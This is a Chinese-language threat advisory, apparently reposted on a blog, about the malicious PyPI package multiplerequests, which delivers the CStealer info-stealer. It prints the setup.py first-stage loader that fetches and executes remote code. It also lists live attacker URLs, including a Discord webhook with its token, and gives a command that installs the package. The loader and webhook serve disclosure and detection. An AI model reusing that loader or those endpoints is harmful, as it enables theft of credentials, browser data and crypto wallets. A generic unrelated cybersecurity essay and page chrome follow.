供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

概述

近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。

pypi仓库恶意包multiplerequests下载量

该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

清华镜像源

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multiplerequests -i  https://pypi.tuna.tsinghua.edu.cn/simple 

由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\\AppData\\Roaming/frvezdffvvcode.py) 的文件写入操作。

投毒分析

multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。

恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(https://frvezdffvv.pythonanywhere.com/getpackage)拉取第二阶段恶意代码并执行。

from urllib import request

package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

第二阶段恶意代码同样经过base64编码,如下所示:

第二阶段恶意代码(base64编码)

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

第二阶段真实恶意代码

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本https://github.com/can-kat/cstealer/blob/main/cstealer.py)。

CStealer窃密后门项目

该恶意代码主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

收集系统敏感信息

通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot)。

系统信息收集功能

收集浏览器隐私数据

针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。

浏览器用户隐私数据收集功能

浏览器数据收集后,会被压缩打包发送到投毒者webhook接口:

浏览器隐私数据外传功能

收集数字钱包应用数据

针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(https://store1.gofile.io/uploadFile)。

数字钱包及其应用数据路径

数字钱包应用数据外传接口

系统屏幕截屏

首先从攻击者服务器(https://frvezdffvv.pythonanywhere.com/getmss)下载python mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。

远程下载python mss屏幕截屏模块

python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(https://github.com/BoboTiG/python-mss)。

Python MSS开源项目

如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。

系统屏幕截屏及数据回传

开机自启动

CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。

恶意后门写入Windows系统自启动目录

IoC数据

此次投毒组件包涉及以下IoC数据:

IoC

类型

SHA256

multiplerequests-2.31.0/setup.py

文件

e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f

https://frvezdffvv.pythonanywhere.com/getpackage

URL

https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot

URL

https://frvezdffvv.pythonanywhere.com/getmss

URL

https://rentry.co/u4tup/raw

URL

https://rentry.co/5crcu/raw

URL

https://rentry.co/5uu99/raw

URL

https://rentry.co/pmpxa/raw

URL

https://store1.gofile.io/uploadFile

URL

排查方式

截至目前,该Python恶意组件可从国内主流Pypi镜像源正常下载安装国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。

开发者可通过命令pip show multiplerequests快速排查是否安装或引用恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令pip uninstall multiplerequests -y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[

  {

    "product": "multiplerequests",

    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",

    "language": "python",

    "id": "XMIRROR-MAL45-7DF79312",

    "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",

"release_date": "2024-04-25"

}

]

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。


感谢每一位开源社区成员对OpenSCA的支持和贡献。OpenSCA的代码会在GitHub和Gitee持续迭代,欢迎Star和Fork,也欢迎向我们提交ISSUE和PR,参与我们的开源安全共建计划,与社区成员共同建设充满可能性的开源解决方案。

GitHub

https://github.com/XmirrorSecurity/OpenSCA-cli/releases

Gitee

https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases

OpenSCA官网

https://opensca.xmirror.cn/

  • 26
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
网络安全是指保护网络系统、网络设施和网络用户不受恶意攻击、破坏、窃听、篡改和数据泄露的一系列技术和措施。随着互联网的普及和信息化的发展,网络安全已成为社会信息化进程中的重要组成部分。本文将从网络安全的概念、发展历程、主要威胁和防范措施等方面进行详细介绍。 一、概念 网络安全是指在计算机网络(Internet及其它公网、企业内部网络等)上,采取各种技术措施,保证网络系统、网络设施和网络用户不受恶意攻击、破坏、窃听、篡改和数据泄露等危害的一系列技术和措施。 二、发展历程 随着互联网的快速发展,网络安全问题日益引起人们的重视。早期的网络安全主要是围绕着计算机病毒、木马、网络钓鱼等方面展开,后来随着黑客攻击网络窃密、拒绝服务攻击网络攻击事件的不断发生,网络安全问题逐渐扩大化和复杂化。为了保障国家和社会的网络安全,各个国家和组织陆续制定了相关法律、规章和标准,同时也出现了大量的网络安全厂商和专业人员,从而推动了网络安全技术的快速发展。 三、主要威胁 1.黑客攻击 黑客攻击是指利用各种手段对网络系统进行暴力破解、越权访问和非法控制等行为,从而获取网络系统的控制权和重要信息。 2.病毒、木马和蠕虫 病毒、木马和蠕虫是指一些恶意代码,通过网络传播并在受害计算机上执行,从而实现远程控制、窃取机密信息等行为。 3.网络钓鱼 网络钓鱼是指利用虚假的网站、邮件等方式,欺骗用户输入个人信息和密码等敏感信息的行为,从而实现非法获取用户信息的目的。 4.拒绝服务攻击 拒绝服务攻击(DDoS)是指利用大量的计算机向目标服务器发起请求,从而使其超负荷运行,导致服务器崩溃或无法正常运行的攻击行为。 5.数据泄露 数据泄露是指公司、机构或个人的敏感信息、商业机密、金融信息等被盗窃或泄露的行为,从而导致经济损失和声誉受损。 四、防范措施 1.加强网络管理 加强网络设备和系统的管理,括安装和更新防病毒软件、加强密码管理、限制权限和访问控制等,从而防止黑客攻击恶意代码的入侵。 2.加密技术 采用加密技术可以保证数据传输过程中的机密性和完整性,防止数据被窃听和篡改。 3.安全审计和监控 通过安全审计和监控技术,可以及时发现和预防网络攻击和异常行为,保证网络安全。 4.培训和教育 加强网络安全知识的培训和教育,提高用户的安全意识和防范能力,从而有效预防网络攻击和数据泄露等问题。 5.开发安全软件 开发安全软件和系统,括防病毒软件、防火墙、入侵检测和防范系统等,从而提高网络系统的安全性和稳定性。 综上所述,网络安全是当今社会信息化进程中的重要组成部分,随着网络威胁的不断增加,保障网络安全已经成为一个全球性的问题。只有采取全面有效的防范措施,才能保证网络的安全稳定运行,为社会信息化进程提供有力保障。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值